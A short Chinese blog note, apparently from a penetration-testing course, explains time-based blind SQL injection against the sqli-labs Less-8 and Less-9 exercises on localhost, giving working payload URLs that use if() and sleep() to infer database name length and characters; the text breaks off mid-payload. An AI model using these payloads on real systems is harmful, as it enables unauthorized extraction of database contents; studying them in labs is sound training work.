sql注入-延时注入

最新推荐文章于 2025-03-19 22:49:39 发布

小韩韩啊

最新推荐文章于 2025-03-19 22:49:39 发布

阅读量1.6k

点赞数

分类专栏：笔记杂七杂八文章标签： sql注入延时注入

本文链接：https://blog.youkuaiyun.com/wuguojiuai/article/details/124466292

版权

本文详细介绍了延时注入技术在渗透测试中的应用，通过实例展示了如何利用延时注入判断条件，获取数据库信息，包括数据库名称、表名、字段及数据内容。通过对SQL语句的构造，演示了如何利用延时注入来探测数据库结构和数据。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

渗透测试基础课-课程进度_不死的小鱼的博客-优快云博客

延时注入和布尔盲注差不多
为什么要延时
因为有的时候我们知道这个地方存在注入但是页面返回信息一样
加了个if延时条件判断
if(条件,是,否)

http://localhost/Less-9/index.php?id=1%27%20and%20if( 1<2,sleep(10),1)--%201
返回14秒
http://localhost/Less-9/index.php?id=1%27%20and%20if( 1>2,sleep(10),1)--%201
正常返回4秒

length(database())=1
获取到了数据库长度
请求：localhost/Less-8/index.php?id=1' and if(length(database())=8,sleep(3),1) -- 11
返回：正常

用到两个函数
substring 截取字符串(1.截取哪个字符串, 2 从哪一位开始,3 取几位)
获取数据库库名：
http://localhost/Less-8/index.php?id=1' and if((select substring(database(),1,1))='s',sleep(3),1) -- 1 获取库名的第一位
ascii
http://localhost/Less-8/index.php?id=1' and if((select ascii(substring(database(),